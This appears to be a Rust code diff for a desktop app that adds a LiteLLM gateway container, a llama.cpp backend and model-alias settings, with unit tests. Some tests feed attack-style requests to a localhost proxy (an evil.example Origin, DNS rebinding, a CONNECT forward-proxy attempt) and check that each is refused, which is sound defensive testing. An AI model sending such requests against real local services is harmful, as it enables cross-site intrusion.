    fn a_hostile_pages_fetch_is_refused_by_its_origin() {
        assert_eq!(
            verdict(
                "GET / HTTP/1.1",
                &["Host: 127.0.0.1:47820", "Origin: http://evil.example"]
            ),
            Verdict::Unauthenticated
        );
    }
    #[test]
    fn a_bare_port_scan_is_refused() {
        // No token, no Origin, no Referer — a cross-site <script src>, a
        // top-level navigation, or curl.
        assert_eq!(
            verdict("GET / HTTP/1.1", &["Host: 127.0.0.1:47820"]),
            Verdict::Unauthenticated
        );
    }
    #[test]
    fn dns_rebinding_is_refused_even_with_a_valid_token() {
        // The attacker's name resolves to 127.0.0.1, but the Host header still
        // says who the browser thinks it is talking to.
        assert_eq!(
            verdict(
                &format!("GET /?token={} HTTP/1.1", TOKEN),
                &["Host: evil.example:47820"]
            ),
            Verdict::BadHost
        );
    }
    #[test]
    fn localhost_is_an_acceptable_authority_and_origin() {
        assert_eq!(
            verdict(
                "GET /ws HTTP/1.1",
                &["Host: localhost:47820", "Origin: http://localhost:47820"]
            ),
            Verdict::Allow
        );
    }
    #[test]
    fn another_panes_origin_does_not_authorize_this_one() {
        // Ports are what separate one project's pane from another's, so the
        // neighbouring port must not be accepted as "self".
        assert_eq!(
            verdict(
                "GET /ws HTTP/1.1",
                &["Host: 127.0.0.1:47820", "Origin: http://127.0.0.1:47821"]
            ),
            Verdict::Unauthenticated
        );
    }
    #[test]
    fn a_cookie_borne_token_is_accepted() {
        assert_eq!(
            verdict(
                "GET /assets/app.js HTTP/1.1",
                &[
                    "Host: 127.0.0.1:47820",
                    &format!("Cookie: other=1; {}={}", COOKIE_NAME, TOKEN),
                ]
            ),
            Verdict::Allow
        );
    }
    #[test]
    fn a_missing_host_header_is_refused() {
        assert_eq!(
            verdict(&format!("GET /?token={} HTTP/1.1", TOKEN), &[]),
            Verdict::BadHost
        );
    }
    #[test]
    fn header_names_are_matched_case_insensitively() {
        assert_eq!(
            verdict(
                "GET /ws HTTP/1.1",
                &["HOST: 127.0.0.1:47820", "ORIGIN: http://127.0.0.1:47820"]
            ),
            Verdict::Allow
        );
    }
    #[test]
    fn a_connect_request_cannot_turn_this_into_a_forward_proxy() {
        assert_eq!(
            verdict("CONNECT evil.example:443 HTTP/1.1", &["Host: 127.0.0.1:47820"]),
            Verdict::Malformed
        );
    }
    #[test]
    fn an_empty_head_is_malformed() {
        assert_eq!(authorize("", TOKEN, &origins(), &authorities()), Verdict::Malformed);
    }
    #[test]
    fn the_head_terminator_is_found_for_both_crlf_and_lf() {
        assert_eq!(find_head_end(b"GET / HTTP/1.1\r\n\r\n"), Some(18));
        assert_eq!(find_head_end(b"GET / HTTP/1.1\n\n"), Some(16));
        assert_eq!(find_head_end(b"GET / HTTP/1.1\r\nHost: x\r\n"), None);
    }
    #[test]
    fn query_token_ignores_lookalike_parameters() {
        assert_eq!(query_token("/?mytoken=a&token=b"), Some("b"));
        assert_eq!(query_token("/?tokenish=a"), None);
        assert_eq!(query_token("/nothing"), None);
    }
    #[test]
    fn tokens_match_rejects_prefixes_and_suffixes() {
        assert!(tokens_match(TOKEN, TOKEN));
        assert!(!tokens_match(&TOKEN[..5], TOKEN));
        assert!(!tokens_match(&format!("{}x", TOKEN), TOKEN));
        assert!(!tokens_match("", TOKEN));
    }
    #[test]
    fn the_proxy_port_range_is_the_one_the_csp_enumerates() {
        // tauri.conf.json lists these origins in `frame-src`; a change here
        // without a change there yields a pane that is silently blocked.
        assert_eq!(PROXY_PORTS.clone().count(), 8);
        assert_eq!(*PROXY_PORTS.start(), 47820);
        assert_eq!(*PROXY_PORTS.end(), 47827);
    }
 }
@@ -0,0 +1,88 @@
 //! Tauri commands for the model gateway container.
 //!
 //! Mirrors `stt_commands`. The one rule that is specific to this module: the
 //! **provider API key never crosses back to the frontend**. It goes in through
 //! `set_gateway_api_key`, lives in the OS keychain, and is only ever read
 //! host-side when rendering the gateway config. `get_gateway_status` reports
 //! its presence as a boolean.
 //!
 //! The gateway *master key* is different and is returned deliberately — it is
 //! the value the user has to paste into a project's model config as its auth
 //! token, so keeping it hidden would just make the feature unusable.
 use tauri::{AppHandle, Emitter, State};
 use crate::docker::gateway;
 use crate::models::GatewayStatus;
 use crate::storage::secure;
 use crate::AppState;
 #[tauri::command]
 pub async fn get_gateway_status(state: State<'_, AppState>) -> Result<GatewayStatus, String> {
    let settings = state.settings_store.get();
    gateway::get_gateway_status(&settings.gateway).await
 }
 #[tauri::command]
 pub async fn start_gateway(state: State<'_, AppState>) -> Result<GatewayStatus, String> {
    let settings = state.settings_store.get();
    gateway::ensure_gateway_running(&settings.gateway).await
 }
 #[tauri::command]
 pub async fn stop_gateway() -> Result<(), String> {
    gateway::stop_gateway_container().await
 }
 /// Whether the gateway is actually answering yet. LiteLLM needs a few seconds
 /// after the container starts before `/v1/messages` will serve anything.
 #[tauri::command]
 pub async fn check_gateway_health(state: State<'_, AppState>) -> Result<bool, String> {
    let settings = state.settings_store.get();
    gateway::check_gateway_health(settings.gateway.port).await
 }
 #[tauri::command]
 pub async fn build_gateway_image(app_handle: AppHandle) -> Result<(), String> {
    gateway::build_gateway_image(move |msg| {
        let _ = app_handle.emit("gateway-build-progress", &msg);
    })
    .await
 }
 #[tauri::command]
 pub async fn pull_gateway_image(app_handle: AppHandle) -> Result<(), String> {
    gateway::pull_gateway_image(move |msg| {
        let _ = app_handle.emit("gateway-pull-progress", &msg);
    })
    .await
 }
 /// Store the upstream provider API key. Write-only from the frontend's point
 /// of view — there is no matching getter.
 #[tauri::command]
 pub async fn set_gateway_api_key(api_key: String) -> Result<(), String> {
    secure::store_gateway_api_key(&api_key)
 }
 /// Forget the provider API key. The gateway keeps serving until it is
 /// restarted, at which point it will refuse to start without a key.
 #[tauri::command]
 pub async fn clear_gateway_api_key() -> Result<(), String> {
    secure::delete_gateway_api_key()
 }
 /// The token a project sends to the gateway (`ANTHROPIC_AUTH_TOKEN`), minting
 /// one on first use.
 #[tauri::command]
 pub async fn get_gateway_auth_token() -> Result<String, String> {
    secure::get_or_create_gateway_master_key()
 }
 /// Mint a new gateway auth token, invalidating the old one. Projects still
 /// holding the previous value stop working until they are updated, and the
 /// gateway is recreated on its next start because the rotation id moved.
 #[tauri::command]
 pub async fn regenerate_gateway_auth_token() -> Result<String, String> {
    secure::regenerate_gateway_master_key()
 }
@@ -3,6 +3,7 @@ pub mod auth_token_commands;
 pub mod aws_commands;
 pub mod docker_commands;
 pub mod file_commands;
 pub mod gateway_commands;
 pub mod help_commands;
 pub mod inspect_commands;
 pub mod install_helper_commands;
@@ -207,6 +207,16 @@ pub async fn start_project_container(
        }
    }
    if project.backend == Backend::LlamaCpp {
        let cfg = project.llamacpp_config.as_ref()
            .ok_or_else(|| "llama.cpp backend selected but no llama.cpp configuration found.".to_string())?;
        if cfg.base_url.trim().is_empty()
            && settings.global_llamacpp.base_url.as_deref().map(str::trim).unwrap_or("").is_empty()
        {
            return Err("llama.cpp base URL is required. Set it per-project or in global llama.cpp settings.".to_string());
        }
    }
    if project.backend == Backend::OpenAiCompatible {
        let oai_config = project.openai_compatible_config.as_ref()
            .ok_or_else(|| "OpenAI Compatible backend selected but no configuration found.".to_string())?;
@@ -314,6 +324,7 @@ pub async fn start_project_container(
                &project,
                &settings.global_aws,
                &settings.global_ollama,
                &settings.global_llamacpp,
                &settings.global_openai_compatible,
                settings.global_claude_instructions.as_deref(),
                &settings.global_custom_env_vars,
@@ -356,6 +367,7 @@ pub async fn start_project_container(
                    aws_config_path.as_deref(),
                    &settings.global_aws,
                    &settings.global_ollama,
                    &settings.global_llamacpp,
                    &settings.global_openai_compatible,
                    settings.global_claude_instructions.as_deref(),
                    &settings.global_custom_env_vars,
@@ -393,6 +405,7 @@ pub async fn start_project_container(
                aws_config_path.as_deref(),
                &settings.global_aws,
                &settings.global_ollama,
                &settings.global_llamacpp,
                &settings.global_openai_compatible,
                settings.global_claude_instructions.as_deref(),
                &settings.global_custom_env_vars,
@@ -8,7 +8,7 @@ use std::collections::HashMap;
 use sha2::{Sha256, Digest};
 use super::client::get_docker;
-use crate::models::{Backend, BedrockAuthMethod, ClaudeCodeSettings, ContainerInfo, EnvVar, GlobalAwsSettings, GlobalOllamaSettings, GlobalOpenAiCompatibleSettings, PortMapping, Project, ProjectPath};
+use crate::models::{Backend, BedrockAuthMethod, ClaudeCodeSettings, ContainerInfo, EnvVar, GlobalAwsSettings, GlobalLlamaCppSettings, GlobalOllamaSettings, GlobalOpenAiCompatibleSettings, PortMapping, Project, ProjectPath};
 const SCHEDULER_INSTRUCTIONS: &str = r#"## Scheduled Tasks
@@ -194,8 +194,89 @@ const RESERVED_ENV_EXACT: &[&str] = &[
    "MISSION_CONTROL_ENABLED",
    "TRIPLE_C_PERMISSION_MODE",
    CLAUDE_OAUTH_TOKEN_ENV,
    // The model-alias vars are already covered by the `ANTHROPIC_` prefix
    // above; they are listed explicitly so that a future narrowing of the
    // prefix list cannot silently unreserve them, and so `is_reserved_env_key`
    // reads as the single, complete statement of what Triple-C owns.
    ANTHROPIC_DEFAULT_OPUS_MODEL,
    ANTHROPIC_DEFAULT_SONNET_MODEL,
    ANTHROPIC_DEFAULT_HAIKU_MODEL,
    ANTHROPIC_DEFAULT_FABLE_MODEL,
 ];
 /// Claude Code's model-alias env vars. Each names the concrete model id that
 /// one of the `opus` / `sonnet` / `haiku` / `fable` aliases resolves to.
 ///
 /// `ANTHROPIC_DEFAULT_HAIKU_MODEL` is the important one: it is documented as
 /// *"Model ID that the `haiku` alias resolves to, also used for background
 /// functionality"* — conversation titles, summarisation, and other out-of-band
 /// calls. Left unset against a local server, Claude Code sends
 /// Anthropic's own Haiku model id to a server that has never heard of it and
 /// every background call fails, usually silently.
 ///
 /// (`ANTHROPIC_SMALL_FAST_MODEL` is the deprecated predecessor of the Haiku
 /// var and is deliberately *not* used.)
 pub const ANTHROPIC_DEFAULT_OPUS_MODEL: &str = "ANTHROPIC_DEFAULT_OPUS_MODEL";
 pub const ANTHROPIC_DEFAULT_SONNET_MODEL: &str = "ANTHROPIC_DEFAULT_SONNET_MODEL";
 pub const ANTHROPIC_DEFAULT_HAIKU_MODEL: &str = "ANTHROPIC_DEFAULT_HAIKU_MODEL";
 pub const ANTHROPIC_DEFAULT_FABLE_MODEL: &str = "ANTHROPIC_DEFAULT_FABLE_MODEL";
 /// Resolve the four `ANTHROPIC_DEFAULT_*_MODEL` values for a backend that
 /// points Claude Code at a custom endpoint.
 ///
 /// All four aliases fall back to `effective_model` — the backend's configured
 /// model id, already resolved per-project → global. That is the right default:
 /// a local server almost always serves exactly one model, so every alias must
 /// name it or the calls that use an alias (notably the background ones, which
 /// use `haiku`) go to a model the server does not have.
 ///
 /// `haiku_override` exists because that is the one alias someone might
 /// legitimately want to point elsewhere — at a second, smaller server-side
 /// model kept for cheap background work. A blank override falls back to
 /// `effective_model` like the others.
 ///
 /// Returns pairs in `(name, value)` form; a blank resolved value emits nothing
 /// at all rather than an empty var, so an unconfigured backend is left exactly
 /// as Claude Code found it.
 pub fn compute_model_aliases(
    effective_model: Option<&str>,
    haiku_override: Option<&str>,
 ) -> Vec<(&'static str, String)> {
    let base = effective_model.map(str::trim).filter(|s| !s.is_empty());
    let haiku = haiku_override
        .map(str::trim)
        .filter(|s| !s.is_empty())
        .or(base);
    let mut out: Vec<(&'static str, String)> = Vec::new();
    if let Some(m) = base {
        out.push((ANTHROPIC_DEFAULT_OPUS_MODEL, m.to_string()));
        out.push((ANTHROPIC_DEFAULT_SONNET_MODEL, m.to_string()));
    }
    if let Some(h) = haiku {
        out.push((ANTHROPIC_DEFAULT_HAIKU_MODEL, h.to_string()));
    }
    if let Some(m) = base {
        out.push((ANTHROPIC_DEFAULT_FABLE_MODEL, m.to_string()));
    }
    out
 }
 /// The fingerprint contribution of the model aliases, so that changing an
 /// alias (or the model it falls back to) forces a container recreation.
 /// `container_needs_recreation` is label-based and never diffs env, so an
 /// env-only change is invisible without this.
 fn model_alias_fingerprint_part(
    effective_model: Option<&str>,
    haiku_override: Option<&str>,
 ) -> String {
    compute_model_aliases(effective_model, haiku_override)
        .into_iter()
        .map(|(k, v)| format!("{}={}", k, v))
        .collect::<Vec<_>>()
        .join(",")
 }
 /// Whether `key` is an env var name Triple-C reserves for itself.
 fn is_reserved_env_key(key: &str) -> bool {
    let upper = key.to_uppercase();
@@ -360,7 +441,13 @@ fn compute_bedrock_fingerprint(project: &Project, global_aws: &GlobalAwsSettings
 }
 /// Compute a fingerprint for the Ollama configuration so we can detect changes.
-/// Includes the resolved base_url and model_id (per-project blank → global default).
+/// Includes the resolved base_url and model_id (per-project blank → global
 /// default) and the resolved model aliases.
 ///
 /// NOTE: adding the alias part changes this hash for every existing Ollama
 /// container, so each will be recreated once on the next start. That is exactly
 /// what is wanted — recreation is the only way to get the new
 /// `ANTHROPIC_DEFAULT_*_MODEL` vars into the container's env.
 fn compute_ollama_fingerprint(project: &Project, global_ollama: &GlobalOllamaSettings) -> String {
    if let Some(ref ollama) = project.ollama_config {
        let effective_url = resolve_with_global(
@@ -371,7 +458,43 @@ fn compute_ollama_fingerprint(project: &Project, global_ollama: &GlobalOllamaSet
            ollama.model_id.as_deref(),
            global_ollama.default_model_id.as_deref(),
        ).unwrap_or("").to_string();
-        let parts = vec![effective_url, effective_model];
+        let aliases = model_alias_fingerprint_part(
            Some(&effective_model),
            resolve_with_global(
                ollama.haiku_model_id.as_deref(),
                global_ollama.default_haiku_model_id.as_deref(),
            ),
        );
        let parts = vec![effective_url, effective_model, aliases];
        sha256_hex(&parts.join("|"))
    } else {
        String::new()
    }
 }
 /// Compute a fingerprint for the llama.cpp configuration so we can detect
 /// changes. Mirrors [`compute_ollama_fingerprint`].
 fn compute_llamacpp_fingerprint(
    project: &Project,
    global_llamacpp: &GlobalLlamaCppSettings,
 ) -> String {
    if let Some(ref cfg) = project.llamacpp_config {
        let effective_url = resolve_with_global(
            Some(&cfg.base_url),
            global_llamacpp.base_url.as_deref(),
        ).unwrap_or("").to_string();
        let effective_model = resolve_with_global(
            cfg.model_id.as_deref(),
            global_llamacpp.default_model_id.as_deref(),
        ).unwrap_or("").to_string();
        let aliases = model_alias_fingerprint_part(
            Some(&effective_model),
            resolve_with_global(
                cfg.haiku_model_id.as_deref(),
                global_llamacpp.default_haiku_model_id.as_deref(),
            ),
        );
        let parts = vec![effective_url, effective_model, aliases];
        sha256_hex(&parts.join("|"))
    } else {
        String::new()
@@ -393,10 +516,18 @@ fn compute_openai_compatible_fingerprint(
            config.model_id.as_deref(),
            global_openai_compatible.default_model_id.as_deref(),
        ).unwrap_or("").to_string();
        let aliases = model_alias_fingerprint_part(
            Some(&effective_model),
            resolve_with_global(
                config.haiku_model_id.as_deref(),
                global_openai_compatible.default_haiku_model_id.as_deref(),
            ),
        );
        let parts = vec![
            effective_url,
            config.api_key.as_deref().unwrap_or("").to_string(),
            effective_model,
            aliases,
        ];
        sha256_hex(&parts.join("|"))
    } else {
@@ -576,6 +707,7 @@ pub async fn create_container(
    aws_config_path: Option<&str>,
    global_aws: &GlobalAwsSettings,
    global_ollama: &GlobalOllamaSettings,
    global_llamacpp: &GlobalLlamaCppSettings,
    global_openai_compatible: &GlobalOpenAiCompatibleSettings,
    global_claude_instructions: Option<&str>,
    global_custom_env_vars: &[EnvVar],
@@ -701,6 +833,14 @@ pub async fn create_container(
        }
    }
    // ── Custom-endpoint backends ─────────────────────────────────────────────
    // Ollama, llama.cpp and the OpenAI-Compatible gateway all point Claude Code
    // at a non-Anthropic server via ANTHROPIC_BASE_URL. Each resolves its model
    // id here; the model-alias vars are emitted once below, from
    // `alias_model` / `alias_haiku`, so the three backends cannot drift apart.
    let mut alias_model: Option<String> = None;
    let mut alias_haiku: Option<String> = None;
    // Ollama configuration
    if project.backend == Backend::Ollama {
        if let Some(ref ollama) = project.ollama_config {
@@ -716,7 +856,44 @@ pub async fn create_container(
                global_ollama.default_model_id.as_deref(),
            ) {
                env_vars.push(format!("ANTHROPIC_MODEL={}", model));
                alias_model = Some(model.to_string());
            }
            alias_haiku = resolve_with_global(
                ollama.haiku_model_id.as_deref(),
                global_ollama.default_haiku_model_id.as_deref(),
            )
            .map(str::to_string);
        }
    }
    // llama.cpp (llama-server) configuration
    if project.backend == Backend::LlamaCpp {
        if let Some(ref cfg) = project.llamacpp_config {
            if let Some(url) = resolve_with_global(
                Some(&cfg.base_url),
                global_llamacpp.base_url.as_deref(),
            ) {
                env_vars.push(format!("ANTHROPIC_BASE_URL={}", url));
            }
            // llama-server only enforces an Authorization header when it was
            // started with `--api-key` (default: none), so the value here is
            // ignored in the common case. Claude Code still refuses to run
            // against a custom base URL with no credential at all, so a
            // placeholder is always sent — same trick as the Ollama branch
            // above, which sends the literal "ollama".
            env_vars.push("ANTHROPIC_AUTH_TOKEN=llama.cpp".to_string());
            if let Some(model) = resolve_with_global(
                cfg.model_id.as_deref(),
                global_llamacpp.default_model_id.as_deref(),
            ) {
                env_vars.push(format!("ANTHROPIC_MODEL={}", model));
                alias_model = Some(model.to_string());
            }
            alias_haiku = resolve_with_global(
                cfg.haiku_model_id.as_deref(),
                global_llamacpp.default_haiku_model_id.as_deref(),
            )
            .map(str::to_string);
        }
    }
@@ -737,7 +914,27 @@ pub async fn create_container(
                global_openai_compatible.default_model_id.as_deref(),
            ) {
                env_vars.push(format!("ANTHROPIC_MODEL={}", model));
                alias_model = Some(model.to_string());
            }
            alias_haiku = resolve_with_global(
                config.haiku_model_id.as_deref(),
                global_openai_compatible.default_haiku_model_id.as_deref(),
            )
            .map(str::to_string);
        }
    }
    // Model aliases — the fix for background Claude Code calls against a local
    // server. Only for backends that talk to a custom endpoint: Anthropic and
    // Bedrock reach servers that really do host the Anthropic model ids, so
    // they keep Claude Code's own defaults. Anything not emitted here is
    // blanked by the MANAGED_AUTH_KEYS pass below, so switching *away* from a
    // custom endpoint clears the aliases out of the snapshot image too.
    if project.backend.uses_custom_endpoint() {
        for (key, value) in
            compute_model_aliases(alias_model.as_deref(), alias_haiku.as_deref())
        {
            env_vars.push(format!("{}={}", key, value));
        }
    }
@@ -778,6 +975,15 @@ pub async fn create_container(
        "ANTHROPIC_MODEL",
        "DISABLE_PROMPT_CACHING",
        "ANTHROPIC_BEDROCK_SERVICE_TIER",
        // Switching from a custom-endpoint backend to Anthropic or Bedrock must
        // *clear* the aliases, not merely stop setting them: a stale
        // ANTHROPIC_DEFAULT_HAIKU_MODEL baked into the snapshot image would
        // keep pointing background calls at a model id the new backend has
        // never heard of.
        ANTHROPIC_DEFAULT_OPUS_MODEL,
        ANTHROPIC_DEFAULT_SONNET_MODEL,
        ANTHROPIC_DEFAULT_HAIKU_MODEL,
        ANTHROPIC_DEFAULT_FABLE_MODEL,
        // Revoking the shared token, opting a project out, or switching away
        // from the Anthropic backend must *clear* this, not merely stop setting
        // it — otherwise the value committed into the snapshot image keeps
@@ -1004,6 +1210,7 @@ pub async fn create_container(
    labels.insert("triple-c.paths-fingerprint".to_string(), compute_paths_fingerprint(&project.paths));
    labels.insert("triple-c.bedrock-fingerprint".to_string(), compute_bedrock_fingerprint(project, global_aws));
    labels.insert("triple-c.ollama-fingerprint".to_string(), compute_ollama_fingerprint(project, global_ollama));
    labels.insert("triple-c.llamacpp-fingerprint".to_string(), compute_llamacpp_fingerprint(project, global_llamacpp));
    labels.insert("triple-c.openai-compatible-fingerprint".to_string(), compute_openai_compatible_fingerprint(project, global_openai_compatible));
    labels.insert("triple-c.ports-fingerprint".to_string(), compute_ports_fingerprint(&project.port_mappings));
    labels.insert("triple-c.image".to_string(), image_name.to_string());
@@ -1301,6 +1508,7 @@ pub async fn container_needs_recreation(
    project: &Project,
    global_aws: &GlobalAwsSettings,
    global_ollama: &GlobalOllamaSettings,
    global_llamacpp: &GlobalLlamaCppSettings,
    global_openai_compatible: &GlobalOpenAiCompatibleSettings,
    global_claude_instructions: Option<&str>,
    global_custom_env_vars: &[EnvVar],
@@ -1387,6 +1595,17 @@ pub async fn container_needs_recreation(
        return Ok(true);
    }
    // ── llama.cpp config fingerprint ─────────────────────────────────────
    // A missing label means the container predates the llama.cpp backend, in
    // which case the expected fingerprint is also "" (no llamacpp_config) and
    // nothing is recreated needlessly.
    let expected_llamacpp_fp = compute_llamacpp_fingerprint(project, global_llamacpp);
    let container_llamacpp_fp = get_label("triple-c.llamacpp-fingerprint").unwrap_or_default();
    if container_llamacpp_fp != expected_llamacpp_fp {
        log::info!("llama.cpp config mismatch");
        return Ok(true);
    }
    // ── OpenAI Compatible config fingerprint ────────────────────────────
    let expected_oai_fp = compute_openai_compatible_fingerprint(project, global_openai_compatible);
    let container_oai_fp = get_label("triple-c.openai-compatible-fingerprint").unwrap_or_default();
@@ -1635,3 +1854,230 @@ pub async fn list_sibling_containers() -> Result<Vec<ContainerSummary>, String>
    Ok(siblings)
 }
 #[cfg(test)]
 mod tests {
    use super::*;
    const OPUS: &str = ANTHROPIC_DEFAULT_OPUS_MODEL;
    const SONNET: &str = ANTHROPIC_DEFAULT_SONNET_MODEL;
    const HAIKU: &str = ANTHROPIC_DEFAULT_HAIKU_MODEL;
    const FABLE: &str = ANTHROPIC_DEFAULT_FABLE_MODEL;
    fn aliases(model: Option<&str>, haiku: Option<&str>) -> Vec<(&'static str, String)> {
        compute_model_aliases(model, haiku)
    }
    #[test]
    fn all_four_aliases_fall_back_to_the_configured_model() {
        assert_eq!(
            aliases(Some("qwen3.5:27b"), None),
            vec![
                (OPUS, "qwen3.5:27b".to_string()),
                (SONNET, "qwen3.5:27b".to_string()),
                (HAIKU, "qwen3.5:27b".to_string()),
                (FABLE, "qwen3.5:27b".to_string()),
            ]
        );
    }
    #[test]
    fn the_haiku_override_replaces_only_the_haiku_alias() {
        let got = aliases(Some("big-model"), Some("small-model"));
        assert_eq!(
            got,
            vec![
                (OPUS, "big-model".to_string()),
                (SONNET, "big-model".to_string()),
                (HAIKU, "small-model".to_string()),
                (FABLE, "big-model".to_string()),
            ]
        );
    }
    #[test]
    fn a_blank_or_whitespace_haiku_override_falls_back_to_the_model() {
        for override_value in [Some(""), Some("   "), None] {
            let got = aliases(Some("m"), override_value);
            assert_eq!(
                got.iter().find(|(k, _)| *k == HAIKU).map(|(_, v)| v.as_str()),
                Some("m"),
                "override {:?} should fall back to the model id",
                override_value
            );
        }
    }
    #[test]
    fn values_are_trimmed() {
        assert_eq!(
            aliases(Some("  m  "), Some("  h  ")),
            vec![
                (OPUS, "m".to_string()),
                (SONNET, "m".to_string()),
                (HAIKU, "h".to_string()),
                (FABLE, "m".to_string()),
            ]
        );
    }
    #[test]
    fn no_model_and_no_override_emits_nothing() {
        // Nothing to point the aliases at — leave Claude Code's defaults alone
        // rather than injecting empty vars.
        assert!(aliases(None, None).is_empty());
        assert!(aliases(Some(""), Some("  ")).is_empty());
    }
    #[test]
    fn a_haiku_override_alone_still_fixes_background_calls() {
        // No model id configured, but the user pointed haiku somewhere: emit
        // just that one, because it is the alias background work uses.
        assert_eq!(
            aliases(None, Some("small-model")),
            vec![(HAIKU, "small-model".to_string())]
        );
    }
    #[test]
    fn only_custom_endpoint_backends_get_aliases() {
        assert!(!Backend::Anthropic.uses_custom_endpoint());
        assert!(!Backend::Bedrock.uses_custom_endpoint());
        assert!(Backend::Ollama.uses_custom_endpoint());
        assert!(Backend::LlamaCpp.uses_custom_endpoint());
        assert!(Backend::OpenAiCompatible.uses_custom_endpoint());
    }
    #[test]
    fn every_alias_var_is_reserved_and_managed() {
        for key in [OPUS, SONNET, HAIKU, FABLE] {
            assert!(is_reserved_env_key(key), "{} must be reserved", key);
            assert!(
                is_reserved_env_key(&key.to_lowercase()),
                "{} must be reserved case-insensitively",
                key
            );
        }
        // A user-set alias must never survive into the container env.
        let fp = compute_env_fingerprint(&[EnvVar {
            key: HAIKU.to_string(),
            value: "sneaky".to_string(),
        }]);
        assert_eq!(fp, "");
    }
    #[test]
    fn the_deprecated_small_fast_model_var_is_never_emitted() {
        let rendered: Vec<String> = aliases(Some("m"), Some("h"))
            .into_iter()
            .map(|(k, _)| k.to_string())
            .collect();
        assert!(!rendered.iter().any(|k| k == "ANTHROPIC_SMALL_FAST_MODEL"));
    }
    #[test]
    fn the_alias_fingerprint_tracks_both_the_model_and_the_override() {
        let base = model_alias_fingerprint_part(Some("m"), None);
        assert_eq!(base, model_alias_fingerprint_part(Some("m"), Some("")));
        assert_ne!(base, model_alias_fingerprint_part(Some("m2"), None));
        assert_ne!(base, model_alias_fingerprint_part(Some("m"), Some("h")));
        assert_eq!(model_alias_fingerprint_part(None, None), "");
    }
    fn project_with_llamacpp(model: Option<&str>, haiku: Option<&str>) -> Project {
        let mut p = Project::new("t".to_string(), Vec::new());
        p.backend = Backend::LlamaCpp;
        p.llamacpp_config = Some(crate::models::LlamaCppConfig {
            base_url: "http://host.docker.internal:8080".to_string(),
            model_id: model.map(str::to_string),
            haiku_model_id: haiku.map(str::to_string),
        });
        p
    }
    #[test]
    fn llamacpp_fingerprint_changes_when_the_haiku_override_changes() {
        let g = GlobalLlamaCppSettings::default();
        let a = compute_llamacpp_fingerprint(&project_with_llamacpp(Some("m"), None), &g);
        let b = compute_llamacpp_fingerprint(&project_with_llamacpp(Some("m"), Some("h")), &g);
        assert_ne!(a, b, "the haiku override must force a container recreation");
        // No config at all -> empty, so projects on other backends are not
        // flagged for recreation by this fingerprint.
        let plain = Project::new("t".to_string(), Vec::new());
        assert_eq!(compute_llamacpp_fingerprint(&plain, &g), "");
    }
    #[test]
    fn llamacpp_global_defaults_fill_in_for_blank_per_project_fields() {
        let g = GlobalLlamaCppSettings {
            base_url: Some("http://elsewhere:8080".to_string()),
            default_model_id: Some("global-model".to_string()),
            default_haiku_model_id: Some("global-haiku".to_string()),
        };
        // The per-project base URL is set in the fixture, so only the model and
        // haiku fields fall through to the globals. Filling them in from the
        // globals must be indistinguishable from setting them per-project.
        let with_global = compute_llamacpp_fingerprint(&project_with_llamacpp(None, None), &g);
        let explicit = compute_llamacpp_fingerprint(
            &project_with_llamacpp(Some("global-model"), Some("global-haiku")),
            &GlobalLlamaCppSettings::default(),
        );
        assert_eq!(with_global, explicit);
        // …and changing a global must change the fingerprint, so a global-only
        // edit still forces a recreation.
        assert_ne!(
            with_global,
            compute_llamacpp_fingerprint(
                &project_with_llamacpp(None, None),
                &GlobalLlamaCppSettings {
                    default_haiku_model_id: Some("other-haiku".to_string()),
                    ..g.clone()
                },
            )
        );
        assert_eq!(
            resolve_with_global(None, g.default_haiku_model_id.as_deref()),
            Some("global-haiku")
        );
        assert_eq!(
            resolve_with_global(Some("  "), g.default_model_id.as_deref()),
            Some("global-model")
        );
    }
    #[test]
    fn backend_serde_round_trips_llamacpp_and_accepts_legacy_spellings() {
        assert_eq!(
            serde_json::to_string(&Backend::LlamaCpp).unwrap(),
            "\"llama_cpp\""
        );
        for spelling in ["\"llama_cpp\"", "\"llamacpp\"", "\"llama-cpp\"", "\"llama.cpp\""] {
            let parsed: Backend = serde_json::from_str(spelling).unwrap();
            assert_eq!(parsed, Backend::LlamaCpp, "failed for {}", spelling);
        }
    }
    #[test]
    fn a_project_json_without_llamacpp_config_still_deserialises() {
        // `projects.json` written by an older build has no llamacpp_config key.
        let json = serde_json::json!({
            "id": "p1",
            "name": "old",
            "paths": [],
            "container_id": null,
            "status": "stopped",
            "backend": "ollama",
            "bedrock_config": null,
            "ollama_config": { "base_url": "http://x:11434", "model_id": "m" },
            "openai_compatible_config": null,
            "allow_docker_access": false,
            "created_at": "2026-01-01T00:00:00Z",
            "updated_at": "2026-01-01T00:00:00Z"
        });
        let p: Project = serde_json::from_value(json).unwrap();
        assert!(p.llamacpp_config.is_none());
        // The new per-backend haiku override also defaults cleanly.
        assert!(p.ollama_config.unwrap().haiku_model_id.is_none());
    }
 }
@@ -0,0 +1,644 @@
 //! Lifecycle for the **model gateway** container — a pinned LiteLLM proxy that
 //! Triple-C runs as a sibling of the project containers.
 //!
 //! Shape mirrors `docker::stt`: an image that is either pulled from a registry
 //! or built locally from an embedded Dockerfile, a fixed container name, a
 //! named volume, and `get_* / ensure_*_running / stop_* / pull_* / build_*`.
 //!
 //! Two things differ from STT, both deliberate:
 //!
 //! * **The port is published on `0.0.0.0`, not `127.0.0.1`.** STT is consumed
 //!   by the Tauri host process, so loopback is enough. The gateway is consumed
 //!   by *project containers*, which sit on Docker's default bridge and reach
 //!   the host through the bridge gateway — a loopback-only bind is invisible to
 //!   them. See [`gateway_base_url`].
 //! * **The rendered config is uploaded into the container over the Docker
 //!   API** rather than passed as env. It holds the provider API key, and both
 //!   env vars and labels are readable by anything on the host via
 //!   `docker inspect`.
 use bollard::container::{
    Config, CreateContainerOptions, ListContainersOptions, RemoveContainerOptions,
    StartContainerOptions, StopContainerOptions, UploadToContainerOptions,
 };
 use bollard::image::BuildImageOptions;
 use bollard::models::{HostConfig, Mount, MountTypeEnum, PortBinding};
 use futures_util::StreamExt;
 use sha2::{Digest, Sha256};
 use std::collections::HashMap;
 use std::io::Write;
 use super::client::get_docker;
 use crate::models::gateway_settings::{GatewaySettings, GatewayStatus};
 use crate::storage::secure;
 const GATEWAY_CONTAINER_NAME: &str = "triple-c-gateway";
 const GATEWAY_CONFIG_VOLUME: &str = "triple-c-gateway-config";
 /// Upstream LiteLLM, pinned to an exact release.
 ///
 /// LiteLLM 1.82.7 and 1.82.8 shipped credential-harvesting malware on PyPI, so
 /// nothing here may float a tag or resolve `litellm` at build time. v1.96.0 is
 /// also above the 1.84.0 floor set by the proxy auth-bypass CVEs — see the long
 /// comment in `gateway-container/Dockerfile`, and keep the two in lockstep.
 const GATEWAY_REGISTRY_IMAGE: &str = "ghcr.io/berriai/litellm:v1.96.0";
